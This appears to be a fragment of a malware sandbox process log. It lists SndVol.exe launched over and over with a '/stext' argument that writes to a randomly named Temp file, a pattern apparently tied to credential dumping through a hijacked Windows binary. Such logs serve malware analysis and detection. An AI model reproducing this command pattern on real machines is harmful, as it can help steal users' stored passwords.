C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3388

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3396

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3404

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3412

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3420

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3428

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3436

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3452

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3460

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3468

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3484

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3492

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3500

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3508

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3516

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3524

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3532

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3540

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3548

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3556

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3564

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3572

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3580

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3588

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3596

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3604

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3612

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3620

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3628

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3636

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3644

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3652

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3660

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3668

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3676

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3684

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3692

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3700

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3708

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3716

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3724

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3732

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3740

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3748

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3756

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3764

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3772

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3780

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3788

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3796

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3804

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3812

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3820

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3828

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3836

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3844

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3852

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3860

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3868

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3876

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3884

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3892

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3900

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3908

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3916

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3924

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3932

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3940

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3948

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3956

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3964

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3972

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3980

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3988

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3996

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4004

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4012

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4020

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4028

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4036

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4044

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4052

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4060

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4068

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4076

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4084

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4092

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3396

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4120

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4128

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4144

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4152

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4160

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4168

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4176

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4184

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4192

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4208

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4216

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4224

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4232

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4240

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4248

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4256

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4264

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4272

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4280

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4288

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4296

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4304

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4312

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4320

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4328

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4336

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4344

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4352

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4360

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4368

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4376

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4384

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4392

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4400

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4408

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4416

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4424

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4432

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4440

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4448

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4456

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4464

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4472

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4480

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4488

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4496

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4504

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4512

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4520

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4536

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4544

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4552

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4568

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4584

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4600

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4608

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4616

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4624

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4632

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4640

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4648

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4656

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4672

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4680

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4688

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4696

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4704

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4720

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4728

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4736

C:\Windows\SysWOW64\SndVol.exe
